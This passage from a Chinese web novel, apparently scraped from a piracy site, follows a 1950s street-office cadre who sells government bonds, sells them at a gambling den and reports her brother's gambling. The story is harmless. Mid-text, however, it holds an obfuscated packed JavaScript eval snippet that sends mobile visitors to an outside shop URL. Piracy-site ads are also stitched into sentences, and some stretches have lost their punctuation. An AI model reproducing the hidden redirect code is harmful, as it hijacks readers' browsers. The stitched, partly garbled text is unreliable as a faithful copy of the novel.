“这些数字我都写到咱们大院儿的布告栏上了,之前买过公债的同志,记得回家对比一下,只要编号的最后两位与中签号码一样,就可以去银行领取本息了。” 叶满枝任由大家嗡嗡了一阵子,然后拍拍手说:“咱们大院儿的居民大多是工人,即便是家属也未必有时间去银行兑付。所以,本着为人民服务的原则,咱们街道办将联系银行业务员,来大院儿里为大家办理兑付业务。时间就在这两天,大家回去以后尽快确认自家的公债券是否中签,然后到居民小组长那里登记报名。咱们让银行统一兑付!” “哎,街道这个工作做得挺好,我早就在报纸上看到中签号码了,可惜我那张算是大额公债券,要去市里兑付。”楼下的陈奶奶问,“小叶,那银行的业务员,能对付大额公债券吧?” “这个我暂时还不清楚,等我帮您问问!” 叶满枝组织的这次活动,广受好评,大家觉得街 道给群众办了一回实事。 而赵二贺跟在叶满枝身边却提心吊胆的。 “小叶,银行能派人来大院儿现场兑付吗?” 这事八字还没一撇呢,小叶咋就跟大家宣布了? “我前天去支行问过了,他们说要看业务量。”叶满枝招手说,“走,咱俩往支行跑一趟!” 支行出面接待他们的,还是之前的小业务员。 对方态度倒是很和气,但口风比较紧。 “小叶干部,兑付公债的业务从来没有上门 服务的,兑付金额太大了,我们哪敢拿着那么多钱出去?万一出了纰漏,由谁负责?” 叶满枝小声笑道:“小何同志,这个你放心,业务员不需要带太多现金去现场,带够支付利息的就行。我们街道办准备动员这些领取了本息的居民,购买今年的新公债,到时候这本金还没兑付就重新收回来了,之后还是要存在你们银行的……” 作者有话要说 一百个红包,明天见~ 感谢在2024-08-0112:02:24~2024-08-0212:03:08期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:三分钟热度1个; 感谢投出地雷的小天使:墨染槿涩、ggnzc1个; 感谢灌溉营养液的小天使:外星人秋裤57瓶;log37瓶;小姚醒醒吧30瓶;叶闻27瓶;秋水共长天多色、筝池蔚蓝、苏阿白、阿惠、沈行云20瓶;祭司、^v^15瓶;Am11瓶;yolanda1707、69095745、扶摇、小23、淡云、JIANG、阿柴最流批10瓶;伊然如故7瓶;地球媛住民、今天努力了吗、haoqi、富察花花、65931928、20653221、孔拉德.维尔卿5瓶;两一一柯、19174185、伏眸、飞鱼、晚来天欲雪2瓶;Tom和Amanda、是阿虚啊、kimpl0913、涵涵妈、每天都会瘦、ll、bingmay、小鱼尾巴、小鸣、丰丰山心、不出、呜咪、墨陌、47504857、Liz、57089820、56927210、胖蟹、杰子、蘑菇救菊、夏天、Cynthia、TEN、陌上蒹葭、49656349、筱筱、tianxiawukeng、58954873、妮妮、然然然然然然然然、xiaoxiao、crystal、再瘦10斤、花花家的虎虎、啦啦啦、七七四十九、可尔必思、哦呦呦、板栗包、橘猫不是猫、梦幻紫蝶_小琼15、天气变冷了、‘早起的虫儿、被鸟吃、乐意、臻心贞玉、咿呀咿呀哟、球球、泥鳅鱼娃娃、非VIP用户、1、……、57588418、七月凉透心1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 40 章 军代表同志,我要... 对叶满枝和赵二贺来说,游说中签居民复购公债是一场硬仗。 军工大院里一共有112人中签,总金额高达四千块。 要是能将这些钱一举拿下,他俩的任务就能完成一半了! 银行业务员上门这天,居委会在活动现场挂了两条横额—— 【积极认购公债,为祖国建设增添一砖一瓦!】 【跟祖国一道前进,为社会主义立功!】 除了这条醒目的横额,一张篇幅很长的光荣榜也被贴到了旁边。 “小叶干部,这光荣榜上的名字都是买了公债的呀?” “对,这是咱们院儿里连续三年认购公债的名单,之前宣传科在厂报上表扬过一次,咱们街道还要趁此机会再表扬一次。支持国家建设的同志,咱们就是要不遗余力地宣传表扬!” 一群人围到了光荣榜前面,寻找起自己或熟人的名字。 “嚯,周副厂长一次性认购了五百块呢?” “陈总工更多,七百呢!” “哎?我们车间的老徐居然买了一百五十块的公债,深藏不露呀!” 隔了一会儿,有人问:“小叶干部,后面这些人怎么没写认购金额呀?” “报纸上没介绍,我们就没写。” 有些人讲究财不露白,叶满枝不想讨人嫌,也就没写人家的认购金额。 现场已经来了不少等待领钱的居民,叶满枝拿起简易大喇叭介绍:“银行的同志已经来了,我身边这位就是咱们区支行的业务员何山同志,今天的兑付工作由何山同志全权负责!” 在居民的掌声中,何山起立鞠躬。 叶满枝继续道:“这两天有好几位同志都问过,能否用中签的公债券换取今年的新公债,继续支援国家经济建设!我帮大家咨询过小何同志了,这样做是完全可行的!” 赵二贺:“……” 谁问了?明明是你自己瞎编的。 叶满枝面不改色道:“但根据国家规定,中签号码一定要本息全付。换一张新公债券的同时,大家要将前一年的利息取走,务必保证大家的经济利益!” “所以,想要换取今年的公债券,继续为国家建设出力的同志,可以先到我这边办手续。” 陈奶奶 拿着她的大额公债券出列了。 “小叶,把我这个200万(旧币,相当于新币200元)的旧公债券,换成新的吧。 何山先给陈奶奶支付了16块的利息,在账簿上做好账以后,冲旁边点点头。 而后叶满枝数出四张面额五十的公债券,递给了陈奶奶。 “奶奶,这是两年的利息,总计16块,您收好。另外,给您一个‘热心国家经济建设纪念奖章’,感谢您连续三年购买公债,支援国家经济建设。 “哎呦,还有奖章呐! 陈奶奶脸上露出惊喜。 这两百万的公债是她老伴在厂里认购的,能一次性认购这么多,说明拿出去这些钱并不影响他们的生活,因此,当叶满枝上门动员她将旧公债换成新公债时,她没怎么犹豫就应下了。 本以为领利息只是走个过场,没想到人家还要给她发奖章呢! 叶满枝将一朵婴儿巴掌大的红花别到陈奶奶胸前,请她展示给大家看。 这花是常月娥帮忙做的,垂下来的两片叶子上分别写着“热心国家经济建设、“认购公债纪念奖章。 “小叶干部,买新公债的都有这个奖章吗?看到陈奶奶胸前的奖章,同一层楼的王奶奶立即开腔了。 “今天将中签公债券换成新公债的同志,都会有这个奖章。叶满枝笑道,“同时,我们还会在大院布告栏,以及厂部楼前的布告栏上,张贴光荣榜,号召大家向这些同志学习。 赵二贺深知大院儿居民关心的重点,补充道:“光荣榜至少能贴半个月,只要不被风吹坏雨淋坏,咱们就一直贴着。 闻言,人群里果然有人开始蛐蛐咕咕,相互交换意见了。 叶满枝适时接话:“准备继续支持国家经济建设的同志,先来我这边换新公债券,领取利息。家里有其他用钱计划的同志,去赵二贺同志那里登记,咱们下次再支付本息。 “小叶干部,今天领不了本金呀? “嗯,由于之前很多同志表达了换购新公债的意愿,咱们街道不确定今天还有多少人也想直接换购,所以,出于安全考虑,何山同志没有携带太多现金。叶满枝再次号召,“想换购新公债的同志,来我这里办手续。 街道推 销公债的难度比工厂和机关大很多。 单位领导可以变着花样给职工摊派任务 推销公债不能强迫买不买全凭人家自愿。 所以街道干部和居委会的同志总得想点另辟蹊径的办法。 见人群里没人响应居委会李主任点名说:“王大娘您家又不指着那50块钱过日子人家陈大娘都领到纪念奖章了您不想领一个呀?您看人家陈大娘多光荣啊!” 王奶奶往老陈的胸前瞅了瞅嘀咕着:“你们居委会整天搞花样!” 但还是走到叶满枝面前换购新公债了。 “小叶给我挑个更大的别上!” “哈哈行。” 有人带头换购之后的工作就好开展了。 居委会的李主任特别厉害谁和谁关系好谁和谁相互攀比她心里门儿清。 几句话就能鼓动得人家别上一朵大红花。 现场来了110人其中42人将中签公债换成了新公债。 让推销小组一次性进账一千八百多块。 尽管距离心理预期还有些差距但这只是第六居委会的成绩第五居委会那边还没动员呢。 叶满枝心里挺满意的兑付工作结束后高高兴兴地将何山同志送出了军工大院。 等她重新返回大院儿在正对着楼栋的大树下看到吴峥嵘时她就更欢喜了。 见他手上还提着行李包叶满枝赶忙跑过去问:“你怎么才回来呀?原定不是昨天就能回来吗?我找了你好几趟呢!” 其实她忙着推销公债只在昨天下午往军代室打过一次电话。 但是多说几次也无妨就当哄他高兴了。 嘿嘿。 她欢快得像只活力满满的小鸟吴峥嵘看着她笑连日奔波的疲惫都随之减轻了几分。 “从北京出发时帮省军区运了一批物资绕路去省军区又耽误了一天。” “那你刚回来还没吃晚饭吧?”叶满枝真诚相邀“要不你跟我上楼去吧反正已经到家门口了。” “不了我过来跟你说一声就回去。” 吴峥嵘跑了几天长途整个人都灰头土脸的这样毫无准备地草率登门不免 让人觉得轻浮。 他抬腕看了眼手表说:“要不你陪我去食堂吃一口吧?” “行。” 656厂的工人三班倒食堂几乎是全天供餐的他们走进食堂的时候打饭窗口还有人服务。 大师傅陈大山正靠在窗边喝茶见了吴峥嵘就热情招呼:“吴团长好几天没来食堂吃饭了今天菜单里有炸蘑菇和四喜丸子来点不?” 吴峥嵘这会儿没什么胃口与他客气地打了招呼就回头问叶满枝:“想吃点什么?” 叶满枝在家吃过晚饭了但她想吃炸蘑菇。 这种费油的菜常月娥从来不做。 “给我们打一份炸蘑菇一个四喜丸子再添一份素菜吧。” 陈大山一边帮着打菜一边往两人身上乱瞟。 吴峥嵘见了便主动笑着介绍“陈师傅小叶是我对象。” “吴团长的对象是小叶干部啊?哎呀那你们可太登对了!那叫什么来着郎才女貌天作之合!” 这是他俩第一次对外公布恋爱关系叶满枝脸都红了故作轻松地揶揄:“陈师傅看来你在扫盲班学习效果不错连郎才女貌、天作之合都会用了。” “哈哈哈我上次考试得了95分呢!等扫盲班结业我再报个高小班!”陈大山又往饭盒里加了一个四喜丸子“这个丸子是我老陈送小叶干部的恭喜啊!” 叶满枝跟对方道了谢连忙端着饭盒跑了。 “人家陈师傅恭喜你呢你跑什么?”吴峥嵘坐到她对面扬起唇角。 “我没跑这不是为了让你尽快吃上晚饭嘛。”叶满枝双手托着下巴看他吃饭“你去北京怎么样?见到主席同志了吗?” 吴峥嵘颔首随手指了指行李包“里面有给你带的礼物你自己找。” 叶满枝双眼放光一边拉开拉链一边异想天开地问:“是主席同志送的吗?” “……”吴峥嵘惊异于她思路清奇无语了半晌才说“主席同志让你少饮酒保持头脑清醒。” “嘿嘿 说全网首发无弹窗免费阅读qiexs⒐(请来企鹅小 说 看最新章节 完整章节)我开玩笑嘛。”叶满枝在行李包里翻翻找找找出一个最有可能是礼物的小盒子“是这个吗?” “嗯打开看看。” 牛皮质地的盒盖上有一个花体 的俄文单词“胜利”叶满枝将盒盖打开看清里面的东西后忍不住“哇”了一声。 “这手表真是送我的吗?” “嗯喜不喜欢?” 叶满枝被惊喜击中眼里的高兴根本藏不住。 “你怎么想起送手表给我呀?” 国内几乎没有什么出名的手表厂手表产量特别低商店里的手表又贵又经常断货。 整个街道办只有凤姨和穆主任有手表。 其他人出门工作都是看日头估算时间的。 见她大方地将手表取出来放在手腕上比量吴峥嵘眼里染上笑意调侃道:“咱俩刚谈恋爱没几天我就出差半个月以防你闹脾气我总要买点好东西哄哄你。” 叶满枝想说她没生气脾气好得很。 但她转念一想以后还是可以有点脾气的给他哄自己提供点机会。 嘻嘻嘻。 “这手表真好看如果换个时间地点我就可以亲亲你了不过在食堂还是算了!”叶满枝口头表扬了一次轻抚着光滑的皮质表带挑眉问“手表挺贵吧?我要是戴回家去是不是就得跟我爸妈坦白咱俩的关系了?” 吴峥嵘语气笃定道:“你爸妈应该早就知道了。” “不可能我还没找到机会跟家里提咱俩的事呢。” “但我跟叶叔提了。” 叶满枝睁大眼睛惊讶地问:“你什么时候提的?我爸怎么没问我啊?” “好像每天都提了”吴峥嵘笑“我去北京出差之前每次见到他都喊叶叔他应该已经猜到了。” 叶满枝:“……” 喊一次不够竟然还每天都喊! 她爸就算再迟钝也该知道事情不对劲了! 还有 哎呀她身边这两个诡计多端的男人…… * 叶满枝陪他吃了晚饭还吃了几口炸蘑菇见他脸上有掩不住的倦意吃过饭就催着人回家休息了。 她带着新手表和一个油纸包的点心回家本打算戴着手表在常月娥面前晃上几圈谁知刚打开家门就听到了三嫂和四嫂的争执。 准确地说是四嫂单方面向三嫂开炮。 沈亮妹仰着头说:“嫂子,你把三哥管好就行了,满桂的事有我和咱爸妈呢,你就别操心了! “我只是好心提醒你,老四现在回来得越来越晚,你应该注意一下他的动向! 黄黎被这不讲理的妯娌气得太阳穴突突直跳。 “满桂回来得晚,那是因为他在扫盲班给学生上课呢!他现在是老师了!沈亮妹撇嘴说,“三哥有出息,但我们满桂也不差呀,你能不能别总门缝里看人? 她以前在这个当过老师的嫂子面前没啥底气。 都是一个爹妈生的,叶老四却样样不如叶老三。 可是今时不同往日了呀,她去话剧团的后厨当学徒了,老四也当了扫盲班老师。 沈亮妹的腰杆儿不自觉就挺起来了。 黄黎运了一会儿气,再次开口:“他当老师是好事,但扫盲班七点半就下课了,现在九点多了,他还没回来,你应该引起足够的重视! 她对男女主角这一家子极品亲戚实在是头疼,要不是一时半会儿搬不出叶家,大家都是一条船上的人,她真是懒得跟这样的混不吝浪费唇舌。 叶满枝将东西放回自己房间,抱起梨花,探出脑袋问:“嫂子,我三哥四哥都没回来呐?都干嘛去了? 黄黎瞅她一眼说:“你三哥今天上夜班,你四哥不知道怎么回事。 那叶老四本来就是个贪玩,好吃懒做,又意志薄弱的。 按照书里的发展,他就是在叶满堂留苏期间,被狐朋狗友撺掇着染上赌瘾的。 当时叶老五已经被大火烧死了,常月娥心里记恨这两个继子,明知叶老四越陷越深却甩手不管,叶守信忙于工作,根本没发现儿子的异常。 等叶满堂留苏回来,发现不对劲的时候,叶老四已经是赌博窝点的常客了。 【最近叶老四回家的时间越来越晚,八成是被哪个朋友勾去赌博了,若是不及时把他看住了,他只会越陷越深。】 【以前还能仗着副厂长亲家的面子,把他从局子里捞出来,如今叶满枝已经跟周牧退亲了,他要是染上赌瘾,一旦在特殊时期被人抓住,保不齐就要把牢底坐穿了……】 叶满枝皱眉盯着三嫂的脑门,心里对四哥最近的动向也有点疑惑。 以前四 哥喜欢养鱼养鸟养蝈蝈,虽然不算什么正经事,但也不是什么十恶不赦的大错。 何况他有自己的门路,他鼓捣的那些东西有买主会花钱买,一只养得好的铁皮蝈蝈能卖三五块钱。 但最近四哥的心思好像确实不在花鸟鱼虫上,她原以为是因为对方当上了扫盲班老师,被转移了注意力。 可是…… 她又往三嫂光洁饱满的额头上瞄了一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139678|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在想来,恐怕事情并不如她想得那么简单。 叶满枝当时没说什么,第二天下班后,特意回家叫上四嫂一起去了扫盲班。 “来芽,咱来扫盲班干嘛呀?”沈亮妹以为小姑子要送她来念书。 “等我四哥的,”叶满枝往教室里瞅了一眼,小声说,“三嫂说得没错呀,你就不好奇,四哥每天下班以后都干嘛去了?” “他那么大的人,哪是我能管住的?”沈亮妹不以为意道,“反正在院儿里出不了大错。” 她对军工厂家属院的管理还是很信服的。 叶满枝知道四嫂对四哥的浪荡做派已经习惯了,若是告诉她四哥可能会参与赌博,四嫂十有八九不当回事。 毕竟男人凑在一起打个牌,下个棋是时下很常见的娱乐活动。 “我四哥正年轻,心思又活络,”叶满枝违心地说,“万一在外面被哪个女人相中了,你不担心啊?” “不能吧?”沈亮妹没往这方面想过,但她的小心脏还是因此被高高吊了起来。 “谁知道呢,咱等会儿看看他下班以后干嘛去。” 沈亮妹再也不提反对意见了,一双眼睛死死盯着教室的方向。 然而,不知四哥是察觉了什么,还是有意摆脱别人的关注。 扫盲班下课后,他跟着学生们一起走出教室,不等叶满枝姑嫂俩跟上去,他就三躲两闪不见了踪影。 “咋办啊?”沈亮妹焦急地问。 “只能明天再说了。” 两人在扫盲班门口跟了三天,也跟丢了三天。 这就更让她们笃定四哥有问题了,否则他遮遮掩掩地躲什么? 第四天的时候,叶满枝和四嫂分头行动,一直紧紧跟着他,随着他来到了五哥正在租住的大车店附近。 但四哥并没进五哥的院子 又向前走了十几米进了胡同尽头的一处小院。 “来芽那是啥地方啊?” “好像也是职工家属租住的房子。” 叶满枝没打算偷摸跟踪带上四嫂便明目张胆地走进了院子。 四哥刚在牌桌后面坐下就看到了自家媳妇和妹妹赶忙站起来问:“你们怎么跑到这里来了?” 叶满枝往牌桌上瞄了一眼一群男人正在打扑克桌上零散地放着几沓一块两块的赌资看来这些人赌得还挺大。 不过四哥兜里没什么钱似乎还没资格上牌桌只能在后面看人家打牌。 “派出所最近正在抓赌我们街道要配合派出所的工作”叶满枝从兜里翻出红袖箍套到手臂上“我刚才收到群众举报了说你们这边特别吵所以才让四嫂陪我过来看看。哥你在这里干嘛呢?” “哎就是看热闹一会儿我就回去了。” “那不行你们这是聚众赌博啊我得去跟派出所说说。” 旁边有人满不在乎地取笑:“叶老四你这妹妹咋回事?要大义灭亲啊?” 叶满枝瞪了那人一眼说:“少给我们兄妹挑拨离间啊把我惹急了小心我真举报到派出所去!” “举报什么呀都是自己人!”四哥拉着妹妹往外走。 “那不行”叶满枝摆出一副胡搅蛮缠的小人嘴脸从兜里掏出一沓子公债券说“不让我去派出所举报也行你们在场这些人每人买五十块的公债券支援国家经济建设买了公债我就不去麻烦民警同志了!” 这些人赌得不算小一旦被民警抓住所有赌资都得上缴国库还不如买公债划算呢。 拿到公债券以后钱还是自己的就相当于储蓄了。 在场好几人都认识叶老四的妹妹只当她还是那个没长大的学生娃刚参加工作就拿着鸡毛当令箭。 打头一人嘻嘻哈哈地说:“行不就是买公债嘛你有认购任务是吧?跟哥哥们直说无论如何哥哥们也得帮你一把!” 屋里的三张牌桌上一共有三百多块的赌资其中一人随手划拉了一下 叶满枝似模似样地将钱清点了一遍然后回给他们六张五十和两张十元面额的公债券 。 “行了,你们赶紧收摊吧,今天这事我就当你们是私下的娱乐活动,暂时先不给你们报到公安那里了,不过,下不为例啊!” “哈哈哈,行,咱们相互支持工作!” 在一阵嬉笑声中,叶满枝把四哥拉走了。 四哥知道她最近忙着推销公债,以为这是她的工作新思路,心里并不当回事。 反正他还没上牌桌呢,小妹也不能把他怎么样。 叶满枝确实不能把他怎么样,不过,转天下午,她就往军代室跑了一趟。 她来得突然,吴峥嵘伸手帮她抹掉额上的细汗,笑着问:“不是下班以后一起吃饭么,还有两个小时呢!” 叶满枝一脸严肃地说:“军代表同志,我要实名举报!咱们厂职工里有人聚众赌博呢!” 她不报公安,报给军代室和保卫科总行吧? 作者有话要说 一百个红包,明天见~ 感谢在2024-08-0212:03:08~2024-08-0312:07:22期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:73368420、ggnzc1个; 感谢灌溉营养液的小天使:温度倾诉App53瓶;yingxuejue30瓶;墨染槿涩21瓶;感觉萌萌哒、潜水达人、niconiconi、浅滩上的喵、灌汤包、恃甜行凶20瓶;爱雅、昭元13瓶;扭扭嘟啊屁11瓶;鱼丸丸子、csxupu、烟雨暗千家、豆豆、不承重不戴冠、anny、世界和平、风拂一思、啊炤小可爱、簇拥烈日的花、市井人家、小碗小口吃、海棠花与鱼、元小静10瓶;茜钰8瓶;安之若素、小时候7瓶;嫚、小肥要减肥!、MURIEL6瓶;娇娇爱辣椒、pall、影牙、栗咪酱、源权、无忧球蛋、今天也很困、晚安1195瓶;玫瑰双鱼、wuyun、芸曦4瓶;.泪海的盐、gozhiyu、庚子年四月、唯、刘文文文文文文文文文3瓶;柠檬的柠的檬、露露寒、zjzdoyouknow、憨憨、阿云、芋圆儿、carrie6091、芬达2瓶;团子的早晨、乳酸菌、喵喵摸~、啦啦啦、团子、巧克力张张包、濯瑶、龚俊什么时候出来玩、茜yuyu、絮月半里、梦、秋秋糖、明孞、49656349、啊~兔、月、kimpl0913、板栗包、鮀鮀鱼子酱、69208282、呜咪、胖蟹、夏天、小鱼尾巴、xuanxuan127、喵喵喵、可尔必思、嗷呜嗷呜小奶龙、筱筱、哈哈、莫莫、久久、bingmay、晚来天欲雪、查查、落叶缤纷、傅么么、泥鳅鱼娃娃、Found、咿呀咿呀哟、‘早起的虫儿、被鸟吃、……、墨陌、雾弥、xiaoxiao、杰子、crystal、丰丰山心、56927210、Cynthia、滴滴答答滴、然然然然然然然然、沅沅、涟漪、是阿虚啊、47504857、宁三公子1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 41 章 抓赌首战告捷 接到叶满枝同志的实名举报后,军代表同志并没有立即采取行动。 据举报人叶满枝描述,聚赌窝点设在工厂之外,那里已经超出了军代室和厂保卫科的管辖范围,处理起来并不如派出所名正言顺。 而且叶满枝刚在人家的牌局上推销了三百多块的公债,以防别人联想到她身上,对她打击报复,这件事还得从长计议。 想到她在赌局上卖公债的奇葩行为,吴峥嵘不由扶额,不知该气还是该笑。 “我跟你说正事呢,你笑什么啊?”叶满枝急得不行,在他手臂上推了推。 “推销公债的事就不提了,谁让你独自跑去赌博窝点的?” “我跟我四嫂一起去的,而且我四哥当时也在里面,”提起那个不争气的四哥,叶满枝有点没面子,弱了声气说,“那牌局上有好几人都挺眼熟的,都是我四哥的熟人。” 吴峥嵘对她四哥还有印象,之前在坟场被军犬撵得狼狈,看上去不太聪明。 思及此,他敛了笑。 “一场赌局能轻易聚拢三百赌资,说明他们不但赌得大,人员多,而且聚赌时间不短了。这种场子绝不是普通职工或家属有能力组织起来的。” 大车店那一带的房子都被厂里的关系户租住着。 她在赌局上见到的那些人未必是真正的组织者。 吴峥嵘沉吟一阵说:“你回去以后就别再提聚赌的事了,只当你是为了卖公债才跑过去碰运气的。” 叶满枝小声打听:“那军代表同志什么时候行动啊?” 四哥要是铁了心想去赌,哪怕她有八双眼睛也看不住,这事还得从根儿上杜绝。 “等他们对你放松了警惕再说。你的工作经常外出,还总在晚上加班,要增强防范意识。”吴峥嵘想了想,又笑道,“先让他们逍遥几天,攒够了买公债的钱,再连人带钱一网打尽。” 叶满枝紧盯着他唇边那抹笑,狐疑地问:“你是不是在嘲笑我?” “没有。” “那你总笑什么?”叶满枝严正提醒,“你最好不要轻易取笑我,我要是生气了,至少要一张五尺布票才能哄好……” 吴峥嵘轻笑出声,“那我确实不敢轻易取笑小叶同志。军代室的布票已经被我换遍了,再换就 得去其他办公室了。” 他们这些当兵的常年穿军装,布票基本用不上,但其他科室却未必。 “你以后对我好点吧!”叶满枝佯装不满道,“要是去其他科室换布票,人家就该知道你有个爱臭美的对象了,到时候我还得跟你一起丢人。” 吴峥嵘被她的逻辑逗笑,配合地颔首说:“没关系,咱们堤内损失堤外补,争取让小叶干部多卖点公债,或许比五尺布票还管用。” “嘿嘿,那就辛苦军代表同志啦,我等着军代表同志首战告捷的好消息!” 叶满枝很信任他的办事能力,把事情托付给他,就按照对方叮嘱,不再关注聚众赌博的事,好似那次去赌场堵人,真的只是卖公债的小手段。 她默默等了十来天,眼瞅着再有一千多块就能完成公债任务了。 某天晚上,她被人打断了美梦,在睡梦中被人推醒。 “来芽,你今天看到你四哥没?” “没有啊,”叶满枝迷迷糊糊翻个身,嘟哝道,“又怎么了?” “这都后半夜了,你四哥还没回来呢!” 闻言,叶满枝瞬间就清醒了,撑起身子看向床边的常月娥和四嫂。 “四哥今晚一直没回来啊?” “扫盲班下课以后,他回来陪麦多玩了一会儿,快九点的时候胡六来家里找他,他又跟着胡六出去了。” 胡六总来家里找叶满桂,沈亮妹原本并不觉得有什么。 但她上次跟小姑子一起去过那个赌博窝点,光是桌上的赌资就有三百多块。 饶是她一向心宽,也看出那胡六是在带着满桂不学好了。 听说四哥是跟胡六一起离开的,叶满枝心里七上八下,直觉是吴峥嵘那边有所行动了。 她四哥这是什么运气呀? 自打上次被她抓到现行以后,四哥老实了好几天,不会刚跟胡六出去,就被军代室逮住了吧? 叶满枝心里有了计较,便对四嫂说:“我四哥那么大的男人,之前也经常出去玩,他不用上班,估计明早就回来了。咱们就别操心了,赶紧睡觉吧!” 常月娥还不知道老四赌博的事,也觉得老四媳妇小题大做,给闺女掖掖被子,便将儿媳妇带出房间了。 然而,四哥不但 晚上没回家次日白天也没在家里露面。 等到胡六的家人跑来打听胡六下落时 老叶和三哥找遍了四哥常去的地方相熟的几个朋友家也问过了却始终没能见到人影。 全家人一筹莫展时军代室的秦祥突然出现在了叶家门口。 叶守信认得他知道他是吴峥嵘的通信员赶忙将人请进屋里坐。 “叶工长我就不坐了厂里还有活儿呢我替吴团长给您传个口信就得赶紧回去。” 叶守信见他说得认真立即点头:“有什么事你尽管提。” 秦祥的目光在叶家几人脸上扫过表情不太自然地问:“叶工长您有个儿子叫叶满桂吧?” “是我家老四。” “您看这事闹的叶满桂同志昨晚就被保卫科带回去接受教育了。” 叶守信闻言一愣“老四怎么被弄去保卫科了?他犯什么事了?” 保卫科在厂里的作用相当于派出所。 职工和家属犯事以后没有直接报公安的都要先经由保卫科处理。 秦祥挠挠头:“这事说来真是话长厂里前两个月不是有个偷柴油的案子嘛……” “老四偷柴油了?”叶守信的声音陡然拔高。 “没有这个案子搁置了好几个月一直没破前天保卫科突然收到群众举报在大车店附近闻到了很大一股柴油味。保卫科的同志来跟军代室借军犬所以我们军代室就派人配合保卫科一起去大车店寻找赃物了。” 秦祥嗐了一声说:“谁知道柴油桶还没找到竟然先发现了一个聚众赌博的窝点!里面一共十七个人几乎都与咱们厂沾亲带故所以全被保卫科带回厂里了……” 叶守信头晕目眩隔了好几秒才跟他确认:“老四是因为赌博才被保卫科抓去的?” 秦祥艰难地点点头像是怕他难堪一般找补道:“据叶满桂同志自己交代他没带赌资没参与赌博。但您也知道凡是在赌场被抓现行的统统要接受教育、劳动和罚款我们也没办法。” “不过我们吴团长听过叶满桂同志的供词以后认为他没有撒谎所以才派我来家里跟您说一声。” 见老叶被气得说不 出话来,三哥连忙上前一步,与秦祥交涉。 他还不知自家妹妹与吴峥嵘的关系,握着小秦的手连声道谢,“秦同志,我们现在能去保卫科领人吗?” “这事恐怕还不行,”秦祥叹气说,“这次赌博人数众多,而且大多是咱们的厂子弟,保卫科通报厂领导以后,决定扣押他们72小时,在保卫科进行相关法律法规的学习。以防有家属找人疏通关系说情,李科长决定72小时以后再通知家属。吴团长怕您家一直见不到人着急,才让我来家里提前说一声。” 三哥再次道谢,当即表示理解和拥护厂领导的决定。 等他将秦祥送下楼,重新返回时,皱着眉说:“还以为老四有长进了,怎么突然又迷上了赌博?保卫科不会把人移交派出所吧?” 闻言,沈亮妹顿时哭出声来,“哇,他要是因为赌博坐牢,我也不过了!麦多有个坐牢的爹,以后还能抬得起头来吗?” 黄黎嫌弃道:“哭什么哭,要是真想移交派出所,肯定在第一时间就移交了,哪会让他们在厂里学习72小时?” 要是能让叶老四趁此机会长长记性,反倒是好事! 叶守信一直沉着脸不说话,闷不吭声地又在家等了一天。 等到72小时过去,保卫科通知家属去领人交罚款的时候,他立马从椅子上站了起来。 “爸,我跟你一块儿去吧!”叶满枝主动请缨。 叶守信“嗯”了一声,闷头往外走。 他们赶到保卫科的时候,其他家属也陆续到场了。 来领人的基本都是厂职工,其中职位最高的是后勤科长。 据说聚众赌博的场地,就是他大儿子提供的。 所有家属被保卫科长带去了一间会议室,会议室的一侧坐着十七名萎靡不振的赌徒。 家属们被安排到另一侧。 叶满枝的目光一一划过一众赌徒,大多数人都比较年轻,但一群人中还掺着两个影响画面和谐的老头。 看来赌博这事,真是不分年龄的,年纪相差那么大,居然也能玩到一起。 她心里感叹着,余光里却瞥见一道眼熟的身影突然冲向对面的赌徒。 郭二妮怒气冲冲,表情狰狞,揪起其中一个老头的后脖领就是一顿乱捶。 “哎哎还有没有王法了!”被打的老赵头拼命躲闪“谁家的儿媳妇敢打公公啊!小辈打长辈你还有没有规矩了!” “我呸!你算个屁的长辈!”郭二妮下手毫不客气“还嫌家里不够乱是不是?你算个什么东西!还敢学人家聚众赌博!” 老赵头边躲边解释“我没赌博!就是跟老刘一起去看热闹的我兜里有多少钱你应该清楚呀咋可能上得起人家的牌桌?” 郭二妮啐道:“你自己家的热闹不够看吗?大院儿里那些下棋的不够你看吗?为什么非得去赌场看热闹?你咋什么地方都敢去?” 在场这些家属包括老叶在内都想动手教训自家孩子 郭二妮算是全场唯一将想法付诸实践的人。 因为这两人的争执会议室里骤然乱作一团。 叶满枝是除了郭二妮以外唯一的女同志见状便主动上前抱住了还要踢打的郭二妮。 “郭大姐你冷静一点你公公年纪不小了要是当众把他打出毛病来你还得伺候他!” 叶满枝对郭二妮也算熟悉。 她负责民政工作后见识的第一件奇葩事就是赵国栋重婚娶了弟媳弟弟又诈尸回来复仇把哥哥吓尿了裤子。 当初郭二妮还想跟小叔子结婚来着。 “我呸我才不伺候他!”郭二妮怒发冲冠“等赵国栋从看守所里出来我就跟他离婚!” 她跟赵国栋没领证但孩子都生了三个属于事实婚姻。 所以赵国栋和弟媳领的结婚证并没有法律效力。 他这种重婚与解放前的重婚不一样原本可以判拘役三个月缓刑六个月但法院认为他明知故犯故意欺瞒哄骗妻子最终判了他三个月拘役没有缓刑。 赵国栋这会儿正在看守所服刑呢。 大儿子坐牢小儿子复活她公婆也因此从农村赶了过来。 郭二妮原本以为两个老人是来解决问题的。 结果人家是来帮大儿子守着房子的。 她婆婆至少还知道做饭带孩子。 公公却在离开农村以后彻底变了个人他现在不用种地每天吃了饭就把饭碗一推 背着手去大院里看人家下棋。 郭二妮想在婆婆能帮她看孩子的时候找份工作,等她与赵国栋离了婚,不至于坐吃山空,所以即使心里厌烦这个公公,她也忍了。 没想到这人变本加厉,院儿里那么大的地方不够他玩的,居然开始接触赌博了! 鹅小说的域名qiexs?(请来企 鹅小说 看最新章节 完整章节) 郭二妮脸色通红,对保卫科的同志说:“你们想怎么处置就怎么处置吧!他儿子在看守所呢,你们把他送去派出所也行,反正我是不会给他交罚款的!” 